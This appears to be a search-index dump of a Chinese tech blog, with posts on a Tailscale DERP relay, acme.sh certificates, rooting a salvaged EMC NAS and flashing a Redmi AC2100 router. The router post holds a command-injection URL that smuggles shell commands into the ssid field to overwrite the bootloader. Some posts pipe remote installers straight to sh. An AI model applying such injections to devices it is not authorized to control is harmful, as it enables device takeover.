[Service] Type=simple User=root Group=root WorkingDirectory=/var/lib/derper NoNewPrivileges=true ExecStart=/usr/local/bin/derper \\ -c /var/lib/derper/derper.key \\ -hostname derp.example.com \\ -a :12443 \\ -http-port -1 \\ -stun-port 3478 \\ -certmode manual \\ -certdir /var/lib/derper/certs \\ -stun \\ -verify-clients Restart=on-failure RestartSec=3 [Install] WantedBy=multi-user.target 这里有几个关键点： User=root：开启 --verify-clients 时，这样最省事，避免本地 tailscaled.sock 权限问题 -a :12443：不要写成 127.0.0.1:12443 -http-port -1：关闭 derper 自己的 HTTP 监听 -stun-port 3478：STUN 端口是纯数字，不要写成 :3478 -certmode manual + -certdir：让 derper 使用你已经准备好的证书 -verify-clients：限制只允许自己 tailnet 的客户端使用 启动： sudo systemctl daemon-reload sudo systemctl enable --now derper sudo systemctl status derper sudo journalctl -u derper -f ","date":"2026-04-04","heading":"","objectID":"/posts/derper/:8:0","tags":["组网","Tailscale"],"title":"Derper 搭建","uri":"/posts/derper/#derperservice"},{"categories":["折腾"],"collections":null,"content":"Nginx 反代配置 示例： /etc/nginx/sites-available/derp server { listen 443 ssl http2; server_name derp.example.com; ssl_certificate /etc/nginx/ssl/derp/cert.pem; ssl_certificate_key /etc/nginx/ssl/derp/key.pem; location / { proxy_pass https://127.0.0.1:12443; proxy_ssl_verify off; proxy_ssl_server_name on; proxy_ssl_name derp.example.com; proxy_buffering off; proxy_http_version 1.1; proxy_set_header Host $host; proxy_set_header X-Real-IP $remote_addr; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; proxy_set_header Upgrade $http_upgrade; proxy_set_header Connection \"upgrade\"; proxy_connect_timeout 60s; proxy_read_timeout 300s; proxy_send_timeout 300s; } } 启用并检查： sudo ln -sf /etc/nginx/sites-available/derp /etc/nginx/sites-enabled/ sudo nginx -t sudo systemctl reload nginx 这次排障确认了几个容易错的点： proxy_pass 必须是 https://127.0.0.1:12443，不能写成 http:// proxy_ssl_server_name on 和 proxy_ssl_name derp.example.com 最好一起带上 proxy_buffering off 建议开启，DERP 这种长连接/流式转发场景更稳 ","date":"2026-04-04","heading":"Nginx 反代配置","objectID":"/posts/derper/:9:0","tags":["组网","Tailscale"],"title":"Derper 搭建","uri":"/posts/derper/#nginx-反代配置"},{"categories":["折腾"],"collections":null,"content":"tailnet policy 和 derpMap 示例： { \"tagOwners\": { \"tag:derp\": [\"autogroup:admin\"] }, \"derpMap\": { \"omitDefaultRegions\": false, \"regions\": { \"901\": { \"RegionID\": 901, \"RegionCode\": \"sz\", \"RegionName\": \"cn-sz DERP\", \"Nodes\": [ { \"Name\": \"901a\", \"RegionID\": 901, \"HostName\": \"derp.example.com\", \"IPv4\": \"1.2.3.4\", \"CanPort80\": true, \"DERPPort\": 443, \"STUNPort\": 3478 } ] } } }, \"grants\": [ { \"src\": [\"tag:derp\"], \"dst\": [\"*\"], \"ip\": [\"*\"] } ] } 这里的重点是： DERPPort 写 443，因为客户端实际连的是 Nginx，不是后端 12443 STUNPort 还是 3478 开启 --verify-clients 时，不要把 ACL 写得过死，至少先保证 tag:derp 能“看见”允许使用它的节点 ACL 写太严时，tailscale ping 和节点探测都出现异常。先跑通，再慢慢收紧规则更稳妥。 如果需要 ping，别忘了 ACL 里要考虑 icmp。 ","date":"2026-04-04","heading":"tailnet policy 和","objectID":"/posts/derper/:10:0","tags":["组网","Tailscale"],"title":"Derper 搭建","uri":"/posts/derper/#tailnet-policy-和-derpmap"},{"categories":["折腾"],"collections":null,"content":"验证方法 ","date":"2026-04-04","heading":"验证方法","objectID":"/posts/derper/:11:0","tags":["组网","Tailscale"],"title":"Derper 搭建","uri":"/posts/derper/#验证方法"},{"categories":["折腾"],"collections":null,"content":"服务状态 sudo systemctl status derper sudo journalctl -u derper -n 100 --no-pager ","date":"2026-04-04","heading":"服务状态","objectID":"/posts/derper/:11:1","tags":["组网","Tailscale"],"title":"Derper 搭建","uri":"/posts/derper/#服务状态"},{"categories":["折腾"],"collections":null,"content":"端口监听 sudo ss -tlnp | grep 12443 sudo ss -ulnp | grep 3478 期望结果： 12443/tcp 在监听 3478/udp 在公网地址上监听，而不是只绑在 127.0.0.1 ","date":"2026-04-04","heading":"端口监听","objectID":"/posts/derper/:11:2","tags":["组网","Tailscale"],"title":"Derper 搭建","uri":"/posts/derper/#端口监听"},{"categories":["折腾"],"collections":null,"content":"域名访问 curl -I https://derp.example.com ","date":"2026-04-04","heading":"域名访问","objectID":"/posts/derper/:11:3","tags":["组网","Tailscale"],"title":"Derper 搭建","uri":"/posts/derper/#域名访问"},{"categories":["折腾"],"collections":null,"content":"Tailscale 状态 tailscale netcheck tailscale ping tailscale status 如何判断： 看到自定义 DERP 区域，说明 derpMap 生效 看到 relay \u0026quot;sz\u0026quot; 之类信息，说明 DERP 可作为中转保底 看到 direct，说明 UDP 打洞成功，已经不是纯 DERP 中转 ","date":"2026-04-04","heading":"Tailscale 状态","objectID":"/posts/derper/:11:4","tags":["组网","Tailscale"],"title":"Derper 搭建","uri":"/posts/derper/#tailscale-状态"},{"categories":["折腾"],"collections":null,"content":"这次排障里最关键的结论 502 Bad Gateway 不等于真的是 443 被拦了 很多时候只是 Nginx 能起来，但后端 derper 没起来。 先查： sudo systemctl status derper sudo journalctl -u derper -n 50 --no-pager sudo ss -tlnp | grep derper 如果 12443 没监听，优先看 derper 启动参数和证书。 manual 模式下，证书目录和文件名必须对 这次最开始的 502，根因之一就是： derper 开了 -certmode manual 但没找到正确的证书 要么缺 -certdir，要么证书不是按主机名命名。 Nginx 反代 derper 时，上游必须走 HTTPS derper 在这套配置下是 TLS 服务。如果 Nginx 写成： proxy_pass http://127.0.0.1:12443; 那就属于协议对不上，最后可能得到 400 或 502。 -a 127.0.0.1:12443 会把 STUN 一起绑到回环地址 这是这次踩的另一个大坑。 如果把 -a 绑到 127.0.0.1，很多版本的 derper 会让 3478/udp 也只监听回环地址。结果就是： 网页可能正常 DERP 中转可能正常 但 direct 很难成功，因为外部客户端根本打不到 STUN 因此最终保留： -a :12443 -stun-port 3478 然后通过云安全组不开放 12443/tcp 来补安全。 derpMap 要指向 443，不是 12443 客户端连的是： 客户端 -\u003e 443 -\u003e Nginx -\u003e 12443 -\u003e derper 所以 DERPPort 必须写 443。 --verify-clients 依赖本机 tailscaled 的可见范围 如果日志里出现： client nodekey:... rejected: peer nodekey:... not authorized (not found in local tailscaled) 优先检查： DERP 机是否已经加入正确的 tailnet tag:derp 是否配置正确 ACL / grants 是否让 DERP 机能看到这些客户端 如果只是临时排障，也可以先去掉 -verify-clients，等网络和反代都跑通再加回来。 海外节点访问异常时，要分清是配置问题还是安全组/线路问题 如果外地或海外节点完全打不到你的自建 DERP： 先在远端做两类测试： curl -I https://derp.example.com nc -zvu 1.2.3.4 3478 然后回头检查： 云安全组是否放行了 443/tcp 云安全组是否放行了 3478/udp 12443/tcp 是否没有对公网放行 是否确实存在跨境线路抖动或区域性阻断 ","date":"2026-04-04","heading":"这次排障里最关键的结论","objectID":"/posts/derper/:12:0","tags":["组网","Tailscale"],"title":"Derper 搭建","uri":"/posts/derper/#这次排障里最关键的结论"},{"categories":["折腾"],"collections":null,"content":"安全建议 这一套最终的安全边界是： 公网开放 443/tcp 公网开放 3478/udp 公网不开放 12443/tcp derper 开启 --verify-clients 这样即使 derper 进程监听了 :12443，外部也很难直接打到它。 如果你只是临时测试： 可以先不启用 --verify-clients 先把 Nginx -\u0026gt; derper、derpMap、STUN 跑通 最后再加访问控制 ","date":"2026-04-04","heading":"安全建议","objectID":"/posts/derper/:13:0","tags":["组网","Tailscale"],"title":"Derper 搭建","uri":"/posts/derper/#安全建议"},{"categories":["折腾"],"collections":null,"content":"最终判断标准 满足以下条件就算部署完成： derper.service 是 active (running) curl -I https://derp.example.com 正常返回 3478/udp 对外可达 tailscale netcheck 能看到自定义 DERP 区域 需要中转时能走到自建 DERP 网络允许时能出现 direct 未授权客户端会被 --verify-clients 拒绝 ","date":"2026-04-04","heading":"最终判断标准","objectID":"/posts/derper/:14:0","tags":["组网","Tailscale"],"title":"Derper 搭建","uri":"/posts/derper/#最终判断标准"},{"categories":["折腾"],"collections":null,"content":"参考 ","date":"2026-04-04","heading":"参考","objectID":"/posts/derper/:15:0","tags":["组网","Tailscale"],"title":"Derper 搭建","uri":"/posts/derper/#参考"},{"categories":["折腾"],"collections":null,"content":"官方文档 DERP servers Device connectivity Group devices with tags Grants syntax Tailscale CLI reference ","date":"2026-04-04","heading":"官方文档","objectID":"/posts/derper/:15:1","tags":["组网","Tailscale"],"title":"Derper 搭建","uri":"/posts/derper/#官方文档"},{"categories":["折腾"],"collections":null,"content":"官方仓库 cmd/derper/README.md cmd/derper/derper.go cmd/derper/cert.go ","date":"2026-04-04","heading":"官方仓库","objectID":"/posts/derper/:15:2","tags":["组网","Tailscale"],"title":"Derper 搭建","uri":"/posts/derper/#官方仓库"},{"categories":["运维"],"collections":null,"content":"ACME. SH 申请证书并使用 DNS-01 认证 默认 CA 是 ZeroSSL，如果想用 Let\u0026rsquo;s Encrypt 需要显示指定 --server letsencrypt 。似乎是 letsencrypt 申请证书比 zerossl 快一些。但是 letsencrypt 多次申请失败会限制 24 小时。 letsencrypt偏向开源免费，而zerossl偏商业。所以我还是选择letsencrypt。 安装：\u0026ndash;install 选 CA：\u0026ndash;set-default-ca 签发：\u0026ndash;issue 部署到服务：\u0026ndash;install-cert 续期：\u0026ndash;renew 查看：\u0026ndash;list 官方说明不建议使用 sudo 提权，而是全程使用一个用户。 下载 ACME. SH curl https://get.acme.sh | sh -s email=you@example.com ","date":"2026-03-25","heading":"","objectID":"/posts/acme.sh/:0:0","tags":["运维"],"title":"使用Acme.sh申请配置证书","uri":"/posts/acme.sh/#"},{"categories":["运维"],"collections":null,"content":"申请证书 HTTP-01 和 DNS-01 质询的区别是： HTTP-01 需要开放 80 端口完成验证，也就是在/. Well-known/acme-challenge/\u0026lt;token\u0026gt;，然后证书签发机构再去抓取完成验证。 DNS-01 则是在 _acme-challenge.你的域名 下面添加一条 TXT 记录完成验证。适合不开放 80 端口的情况。 ","date":"2026-03-25","heading":"申请证书","objectID":"/posts/acme.sh/:1:0","tags":["运维"],"title":"使用Acme.sh申请配置证书","uri":"/posts/acme.sh/#申请证书"},{"categories":["运维"],"collections":null,"content":"HTTP-01 如果已经搭建起网站： ~/.acme.sh/acme.sh --issue -d example.com -w /var/www/html --server letsencrypt 如果没有搭建起网站，就要临时启动一个 HTTP 服务占用 80 端口完成验证 ~/.acme.sh/acme.sh --issue --standalone -d example.com --server letsencrypt --standalone ","date":"2026-03-25","heading":"HTTP-01","objectID":"/posts/acme.sh/:1:1","tags":["运维"],"title":"使用Acme.sh申请配置证书","uri":"/posts/acme.sh/#http-01"},{"categories":["运维"],"collections":null,"content":"DNS-01： export CF_Token=\"你的token\" export CF_Account_ID=\"你的account_id\" ~/.acme.sh/acme.sh --issue --dns dns_cf -d example.com -d '*.example.com' --server letsencrypt Cloudflare_token 需要创建令牌拿到 Cloudflare_account_id 点进域名，右侧下滑可以看到。 ","date":"2026-03-25","heading":"","objectID":"/posts/acme.sh/:1:2","tags":["运维"],"title":"使用Acme.sh申请配置证书","uri":"/posts/acme.sh/#dns-01"},{"categories":["运维"],"collections":null,"content":"手动 DNS 模式 如果域名托管商不提供 API，就需要手动在域名管理后台处添加 TXT 记录，完成后可以删除。 ~/.acme.sh/acme.sh --issue --dns -d example.com --server letsencrypt ~/.acme.sh/acme.sh --renew -d example.com ","date":"2026-03-25","heading":"手动 DNS 模式","objectID":"/posts/acme.sh/:1:3","tags":["运维"],"title":"使用Acme.sh申请配置证书","uri":"/posts/acme.sh/#手动-dns-模式"},{"categories":["运维"],"collections":null,"content":"安装证书 手动 cp 到服务目录的那份不会自动同步，也不会自动 reload 服务。需要用以下命令执行安装。 ~/.acme.sh/acme.sh --install-cert -d dp.example.com --ecc \\ --key-file /var/lib/derper/certs/dp.example.com.key \\ --fullchain-file /var/lib/derper/certs/dp.example.com.crt \\ --reloadcmd \"systemctl restart derper\" ","date":"2026-03-25","heading":"安装证书","objectID":"/posts/acme.sh/:2:0","tags":["运维"],"title":"使用Acme.sh申请配置证书","uri":"/posts/acme.sh/#安装证书"},{"categories":["运维"],"collections":null,"content":"参考 README: https://github.com/acmesh-official/acme.sh 安装: https://github.com/acmesh-official/acme.sh/wiki/How-to-install DNS API: https://github.com/acmesh-official/acme.sh/wiki/dnsapi CA 选择: https://github.com/acmesh-official/acme.sh/wiki/Server sudo 说明: https://github.com/acmesh-official/acme.sh/wiki/sudo ","date":"2026-03-25","heading":"参考","objectID":"/posts/acme.sh/:3:0","tags":["运维"],"title":"使用Acme.sh申请配置证书","uri":"/posts/acme.sh/#参考"},{"categories":["折腾"],"collections":null,"content":"捡到一台没人要的NAS，折腾一下。 ","date":"2026-03-22","heading":"","objectID":"/posts/emc-nas/:0:0","tags":["折腾"],"title":"emc-NAS 的小折腾","uri":"/posts/emc-nas/#"},{"categories":["折腾"],"collections":null,"content":"SSL 相关 如果本地网络强制 SSL 的话，下载会出现证书的报错。 ","date":"2026-03-22","heading":"SSL 相关","objectID":"/posts/emc-nas/:1:0","tags":["折腾"],"title":"emc-NAS 的小折腾","uri":"/posts/emc-nas/#ssl-相关"},{"categories":["折腾"],"collections":null,"content":"SHELL 这台机器还是能开 SHELL 的。 访问 IP/manage/diagnostics.html 就可以开启隐藏起来的 SHELL。 默认账号是 root ，密码则是 soho+密码。 ","date":"2026-03-22","heading":"SHELL","objectID":"/posts/emc-nas/:2:0","tags":["折腾"],"title":"emc-NAS 的小折腾","uri":"/posts/emc-nas/#shell"},{"categories":["折腾"],"collections":null,"content":"进入 shell 后的一些配置 第一步是看配置和内核还有内存。 cat /proc/cpuinfo uname -a free -m 登录校园网 Drcom校园网使用路由器过验证 - Chifan\u0026rsquo;s Blog 安装包管理器，这里就安装了 opkg wget -O - http://bin.entware.net/x64-k3.2/installer/generic.sh | sh。 下载 neofetch，因为内核太老了没有需要的 libc。下载的都是二进制的 musl 版本。 一些不是单纯的二进制文件比如说 openlist 可以将其放在 /opt/apps 里面，然后使用软链接 ln -s 将二进制放在 /opt/bin 里面方便管理。 vi /etc/profile export PATH=/opt/bin:/opt/sbin:$PATH export LANG=en_US.UTF-8 neofetch alias ls='ls --color=auto' alias grep='grep --color=auto' alias ll='ls -lah --color=auto' export PS1='\\[\\e[32;1m\\]\\u@\\h\\[\\e[0m\\]:\\[\\e[34;1m\\]\\w\\[\\e[0m\\]\\$ ' 换 shell which shell chsh /bin/bash ","date":"2026-03-22","heading":"进入 shell 后的一些配置","objectID":"/posts/emc-nas/:3:0","tags":["折腾"],"title":"emc-NAS 的小折腾","uri":"/posts/emc-nas/#进入-shell-后的一些配置"},{"categories":["折腾"],"collections":null,"content":"MONIT 这台 NAS 的内核版本太低了，不支持 systemd 管理服务。 但是可以使用 init.d ，写脚本放在 /opt/etc/init.d/ 目录下，开机就会自动运行。但是没办法再服务死亡的死后自动拉起。 好在 opkg 里面有 monit 可以管理，能够管理服务。opkg install monit monit -t # 配置文件检测 monit # 启动 monit daemon monit -c /var/monit/monitrc # 启动monit daemon时指定配置文件 monit reload # 当更新了配置文件需要重载 monit status # 查看所有服务状态 monit status nginx # 查看nginx服务状态 monit stop all # 停止所有服务 monit stop nginx # 停止nginx服务 monit start all # 启动所有服务 monit start nginx # 启动nginx服务 monit -V # 查看版本 vi /opt/etc/monitrc # 监控名为 openlist 的进程 check process openlist matching \"openlist server\" # 启动命令 start program = \"/bin/sh -c 'cd /opt/apps/openlist \u0026\u0026 /opt/bin/openlist server \u003e\u003e /opt/var/log/openlist.log 2\u003e\u00261'\" # 停止命令 stop program = \"/usr/bin/pkill openlist\" if failed port 5244 then restart if 3 restarts within 5 cycles then unmonitor # 监控 FileBrowser 进程 check process filebrowser matching \"filebrowser -d\" # 启动命令 start program = \"/bin/sh -c '/opt/filebrowser/filebrowser -d /opt/filebrowser/filebrowser.db -a 0.0.0.0 -p 8080 \u003e\u003e /opt/var/log/filebrowser.log 2\u003e\u00261'\" # 停止命令 stop program = \"/usr/bin/pkill filebrowser\" if failed port 8080 then restart if 3 restarts within 5 cycles then unmonitor # 校园网登录脚本 check host campus_network with address baidu.com start program = \"/opt/bin/route.sh\" stop program = \"/usr/bin/pkill -f route.sh\" if failed ping then restart every 2 cycles # IP检测脚本 check process ip_report matching \"ip.sh\" start program = \"/bin/sh -c '/opt/bin/ip.sh \u0026'\" stop program = \"/usr/bin/pkill -f ip.sh\" ","date":"2026-03-22","heading":"MONIT","objectID":"/posts/emc-nas/:4:0","tags":["折腾"],"title":"emc-NAS 的小折腾","uri":"/posts/emc-nas/#monit"},{"categories":["折腾"],"collections":null,"content":"持久化 为了能让机器重启时先启动 monit ，然后再由 monit 拉起其他服务，需要持久化。 vi /etc/rc.local 在 exit 0 前加入 /opt/bin/monit -c /opt/etc/monitrc 。 ","date":"2026-03-22","heading":"持久化","objectID":"/posts/emc-nas/:4:1","tags":["折腾"],"title":"emc-NAS 的小折腾","uri":"/posts/emc-nas/#持久化"},{"categories":["折腾"],"collections":null,"content":"远程通知 为了避免有一天突然断电重启，重新分配 IP，又要去机房看一眼 IP 的问题，就需要一个脚本能够持续发送 IP。 本来是打算将通知发送到 tgbot 上面的，依旧是用自建的 Cloudflare worker 中转一下就可以了。 但是机房的网络比较特别，好像是对于国外的 IP 都禁止发起连接。包括 Tailscale 和 Cloudflare 的所有 IP。所以我下载 GitHub 上面的二进制文件都是用的香港的加速才能成功。 最后是选择用飞书的 bot。 #!/bin/sh # === 配置区 === WEBHOOK_URL=\"https://www.feishu.cn/flow/api/trigger-webhook/\" # 发送间隔（秒），例如 3600 代表 1 小时 INTERVAL=10 # ============== export PATH=/opt/bin:/opt/sbin:/usr/bin:/usr/sbin:/bin:/sbin while true; do # 1. 获取校园网内网 IP MY_IP=$(ip addr show | grep 'state UP' -A2 | grep 'inet ' | grep -v '127.0.0.1' | awk '{print $2}' | cut -f1 -d'/') # 2. 获取根目录 (/) 的占用情况 ROOT_USAGE=$(df -h / | awk 'NR==2 {print $5}') # 3. 获取数据盘 (/mnt/pools/A/A0) 的剩余空间 DATA_FREE=$(df -h /mnt/pools/A/A0 | awk 'NR==2 {print $4}') # 4. 获取系统当前时间 NOW=$(date \"+%Y-%m-%d %H:%M:%S\") # 5. 构造 JSON 数据包 PAYLOAD=$(printf '{\"nas_ip\":\"%s\", \"root_usage\":\"%s\", \"data_free\":\"%s\", \"update_time\":\"%s\"}' \\ \"$MY_IP\" \"$ROOT_USAGE\" \"$DATA_FREE\" \"$NOW\") # 6. 发送请求 curl -s -k -X POST \"$WEBHOOK_URL\" \\ -H \"Content-Type: application/json\" \\ -d \"$PAYLOAD\" \u003e /dev/null sleep $INTERVAL done 如果想要 IP 发生改变再执行发送一次消息可以添加一个上一次 IP 和此刻 IP 对比的判断。 因为这个不好安装探针，我看着连续的通知比较放心，可以容易判断出什么时候出现问题。掉线的情况。 ","date":"2026-03-22","heading":"远程通知","objectID":"/posts/emc-nas/:5:0","tags":["折腾"],"title":"emc-NAS 的小折腾","uri":"/posts/emc-nas/#远程通知"},{"categories":["折腾"],"collections":null,"content":"参考 Monit：开源服务器监控工具 - 飞鸿影 - 博客园 ","date":"2026-03-22","heading":"参考","objectID":"/posts/emc-nas/:6:0","tags":["折腾"],"title":"emc-NAS 的小折腾","uri":"/posts/emc-nas/#参考"},{"categories":["折腾"],"collections":null,"content":"分享红米AC2100的刷机过程和自动登录校园网。 ","date":"2026-03-22","heading":"","objectID":"/posts/route-auto-login/:0:0","tags":["折腾"],"title":"Drcom校园网使用路由器过验证","uri":"/posts/route-auto-login/#"},{"categories":["折腾"],"collections":null,"content":"1. Redmi AC 2100 路由器选择理由 选择 Redmi AC 2100 (RM 2100) 型号的原因如下： 5 G Wi-Fi 性能： 通过刷入 Padavan (老毛子) 固件，可以开启 160 MHz 频宽，充分发挥 5 G Wi-Fi 的高速潜力。 社区支持： 在恩山无线论坛等社区有大量的讨论和刷机方案，遇到问题时更容易找到解决方案。 性能满足需求： 宿舍宽带为 500 Mbps，RM 2100 的 5 G Wi-Fi 理论速率高达 1733 Mbps，足以满足日常使用需求。 对比 R3G： 之前使用过的 R3G 路由器散热性能弱于 RM 2100，且 5 G 信号速率仅为 800 Mbps。考虑到宿舍使用对信号稳定性和性能的要求，RM 2100 是更优选择，且不打算在上面折腾过多插件。 2026-03-22 更新，宿舍的小米路由器跑不满带宽，实验室的小米路由器老是断连，家里的换货几次才能用。希望各位远离小米路由器。 ","date":"2026-03-22","heading":"1. Redmi AC 2100 路由器选择理由","objectID":"/posts/route-auto-login/:1:0","tags":["折腾"],"title":"Drcom校园网使用路由器过验证","uri":"/posts/route-auto-login/#1-redmi-ac-2100-路由器选择理由"},{"categories":["折腾"],"collections":null,"content":"2. 所需固件和软件 在开始刷机前，请准备好以下固件和工具： Padavan (老毛子) 固件： 支持开启 160 MHz 频宽。 下载地址：padavan 搜索 RM 2100，下载 RM 2100_3.4.3.9-099.Trx 文件。 QB-BOOT： 适配 RM 2100 的 PB-BOOT 正式版。 下载地址：适配RM2100的pb-boot正式版（大雕）-小米无线路由器及小米网络设备-恩山无线论坛 Breed： 由于官方 Breed 网站 (breed.hackpascal.net) 已无法访问，这里提供一个网盘链接。 下载地址：123 云盘分享 提取码：Kzg5 OpenWrt 固件 (带校园网检测插件)： 可选，根据个人需求选择是否集成多播和校园网防检测插件。 下载地址：【2024-9-15】自编译Redmi AC2100固件，集成UA2F等，可用于校园网防检测等功能-小米无线路由器及小米网络设备-恩山无线论坛 官方降级包： 用于将路由器固件降级到旧版本，以便利用漏洞注入 Breed。 下载地址：123 云盘分享 提取码：d8sA ","date":"2026-03-22","heading":"2. 所需固件和软件","objectID":"/posts/route-auto-login/:2:0","tags":["折腾"],"title":"Drcom校园网使用路由器过验证","uri":"/posts/route-auto-login/#2-所需固件和软件"},{"categories":["折腾"],"collections":null,"content":"3. 路由器降级 为了利用旧版固件的注入漏洞，需要将路由器官方固件降级到 2.0.7 版本。 登录路由器后台管理界面。 上传上述准备好的“官方降级包”。 路由器重启后，即完成降级。 ","date":"2026-03-22","heading":"3. 路由器降级","objectID":"/posts/route-auto-login/:3:0","tags":["折腾"],"title":"Drcom校园网使用路由器过验证","uri":"/posts/route-auto-login/#3-路由器降级"},{"categories":["折腾"],"collections":null,"content":"4. 注入并刷入 Breed 此步骤旨在将 Breed Web 恢复控制台注入到路由器中。参考恩山论坛的方案：小米 红米【AC2100】一键刷BREED【30秒刷完】小白帅小伙专用 检查坏块 | 无需Telnet-小米无线路由器及小米网络设备-恩山无线论坛。 ","date":"2026-03-22","heading":"4. 注入并刷入 Breed","objectID":"/posts/route-auto-login/:4:0","tags":["折腾"],"title":"Drcom校园网使用路由器过验证","uri":"/posts/route-auto-login/#4-注入并刷入-breed"},{"categories":["折腾"],"collections":null,"content":"4.1 核心步骤 由于官方 Breed 网站无法访问，无法直接使用教程中的注入 URL。需要先下载 Breed 固件到本地，然后通过本地 HTTP 服务器提供给路由器。 获取你电脑的本地 IP 地址和路由器的 IP 地址。 登录路由器后台，在浏览器地址栏中找到 URL 中的 stok 参数值并复制下来。 在你下载 Breed 固件的文件夹中，按住 Shift 键并右键点击空白处，选择“在此处打开 PowerShell 窗口”或“在此处打开命令窗口”，输入 cmd 进入命令行。 开启一个本地 HTTP 服务器： 在命令行中执行 python -m http.server 8080 --bind 0.0.0.0。请勿关闭此窗口，它将用于向路由器提供 Breed 固件。 获取 Breed 固件的 SHA 256 值： 在另一个命令行窗口中，执行 certutil -hashfile breed.bin SHA256（假设你的 Breed 固件文件名为 breed.bin）。 重要： 在进行注入操作前，务必关闭 Windows 的防火墙和杀毒软件，以避免阻碍路由器访问本地服务器。 现在，可以拼接注入 URL。 原始注入 URL 示例： http://【路由器的IP地址】/cgi-bin/luci/;stok=【路由器的Stok】/api/misystem/set_config_iotdev?bssid=Xiaomi\u0026user_id=longdike\u0026ssid=%0Acd%20%2Ftmp%0Acurl%20http%3A%2F%2F【您电脑的IP地址】%3A【HTTP服务器端口】%2F【固件文件名】%20-o%20B%0A%5B%20-z%20%22%24(sha256sum%20B%20%7C%20grep%20【固件的SHA256校验值】)%22%20%5D%20%7C%7C%20mtd%20-r%20write%20B%20Bootloader%0A URL 解码后的命令（方便理解）： http://【路由器的IP地址】/cgi-bin/luci/;stok=【路由器的Stok】/api/misystem/set_config_iotdev?bssid=Xiaomi\u0026user_id=longdike\u0026ssid= cd /tmp curl http://【您电脑的IP地址】:【HTTP服务器端口】/【固件文件名】 -o B [ -z \"$(sha256sum B | grep 【固件的SHA256校验值】)\" ] || mtd -r write B Bootloader 将拼接好的注入 URL 粘贴到浏览器地址栏并回车。 路由器会重启，指示灯将从蓝色变为橙色，最终再次变为蓝色，表示已进入系统。 ","date":"2026-03-22","heading":"4.1 核心步骤","objectID":"/posts/route-auto-login/:4:1","tags":["折腾"],"title":"Drcom校园网使用路由器过验证","uri":"/posts/route-auto-login/#41-核心步骤"},{"categories":["折腾"],"collections":null,"content":"4.2 进入 Breed 后台 断开路由器电源。 用牙签或卡针顶住路由器的 Reset 键。 重新接上电源。 观察指示灯：如果闪烁蓝色，表示已成功进入 Breed 模式；如果闪烁橙色，则表示进入的是原厂 UBOOT。当指示灯闪蓝时，即可松开 Reset 键。 用网线将电脑连接到路由器的任意一个 LAN 口。 将电脑以太网适配器的 IP 地址手动设置为 192.168.1.100，子网掩码设置为 255.255.255.0。 使用浏览器（推荐无痕模式）访问 192.168.1.1，即可进入 Breed 后台管理界面。 ","date":"2026-03-22","heading":"4.2 进入 Breed 后台","objectID":"/posts/route-auto-login/:4:2","tags":["折腾"],"title":"Drcom校园网使用路由器过验证","uri":"/posts/route-auto-login/#42-进入-breed-后台"},{"categories":["折腾"],"collections":null,"content":"4.3 摸索过程中的经验 直接使用旧注入 URL 失败： 最初尝试直接使用教程中包含的 Breed 官方网站链接进行注入，但由于网站无法访问，导致刷入失败，即使路由器返回 code 0。 SHA 256 校验失败： 尝试刷入 22 年的 Breed 固件时，由于其 SHA 256 值与注入代码中预设的值不符，未能通过校验，导致刷入失败。 ","date":"2026-03-22","heading":"4.3 摸索过程中的经验","objectID":"/posts/route-auto-login/:4:3","tags":["折腾"],"title":"Drcom校园网使用路由器过验证","uri":"/posts/route-auto-login/#43-摸索过程中的经验"},{"categories":["折腾"],"collections":null,"content":"5. 刷入 Padavan 固件 在成功刷入 Breed 后，直接刷入 Padavan 或 OpenWrt 固件可能会遇到问题，导致路由器无法启动新的 Wi-Fi。 ","date":"2026-03-22","heading":"5. 刷入 Padavan 固件","objectID":"/posts/route-auto-login/:5:0","tags":["折腾"],"title":"Drcom校园网使用路由器过验证","uri":"/posts/route-auto-login/#5-刷入-padavan-固件"},{"categories":["折腾"],"collections":null,"content":"5.1 刷入失败的排查与解决方案 我尝试直接在 Breed 中刷入 Padavan 和 OpenWrt 固件，但路由器重启后几分钟内，Wi-Fi 列表中都没有出现新的 Wi-Fi，这很可能意味着刷入失败。 通过查阅恩山论坛的帖子[[红米AC2100(rm2100)breed刷入padavan老毛子无法进入、坏块 通过breed刷入pb-boot解决-小米无线路由器及小米网络设备-恩山无线论坛]]，找到了解决方案： 问题原因： Breed 可能没有坏块检测功能，导致在有坏块的闪存上刷入固件失败。 解决方案： 需要先在 Breed 中刷入 PB-BOOT，因为 PB-BOOT 具备坏块检测功能，能更稳定地刷入固件。 ","date":"2026-03-22","heading":"5.1 刷入失败的排查与解决方案","objectID":"/posts/route-auto-login/:5:1","tags":["折腾"],"title":"Drcom校园网使用路由器过验证","uri":"/posts/route-auto-login/#51-刷入失败的排查与解决方案"},{"categories":["折腾"],"collections":null,"content":"5.2 正确的刷入 Padavan 步骤 备份固件： 在刷入任何固件之前，强烈建议备份路由器的 EEPROM 和编程器固件。 在 Breed 中刷入 PB-BOOT。 在 PB-BOOT 中刷入 Padavan (老毛子) 固件。 完成此步骤后，路由器成功重启，并能看到名为 PCDN 的 Wi-Fi 信号，表明 Padavan 固件已成功刷入。 双清： 进入 Padavan 后台后，建议进行“双清”操作，以清除旧配置并确保系统稳定运行。 ","date":"2026-03-22","heading":"5.2 正确的刷入 Padavan 步骤","objectID":"/posts/route-auto-login/:5:2","tags":["折腾"],"title":"Drcom校园网使用路由器过验证","uri":"/posts/route-auto-login/#52-正确的刷入-padavan-步骤"},{"categories":["折腾"],"collections":null,"content":"6. 通过校园网网页认证 学校对所有接入校园网的设备都要求通过网页验证。路由器接入校园网后，如果未认证，所有连接到路由器的设备都无法上网。让路由器通过认证，可以使宿舍所有设备无需单独验证即可联网。 有两种主要方法实现路由器通过校园网认证： MAC 克隆： 让一台电脑通过验证后，路由器克隆该电脑的 MAC 地址。此方法操作相对麻烦，但官方固件通常自带 MAC 克隆功能。 运行认证脚本： 编写一个脚本，让路由器开机自动执行，完成网页认证。这也是我选择刷机的主要原因。 通过 F12 抓包分析发现，学校的有线和无线网络是两套独立的登录系统。登录请求均为 GET 方法。 特性 无线 Wi-Fi (eportal) 有线网络 (Dr. Com) 服务器 IP 10.0.1.5 (801 端口) 10.0.1.5 (80 端口) 登录地址 /eportal/portal/login /drcom/login 密码格式 Base 64 编码 明文 用户名格式 ,0,学号 学号@运营商 脚本的逻辑是启动后就每隔十秒循环 ping 114.114.114.114，如果 ping 失败就执行登录； 如果 ping 成功过十秒就继续 ping。 使用前需要关闭代理，要不然会一直显示登录失败。 ","date":"2026-03-22","heading":"6. 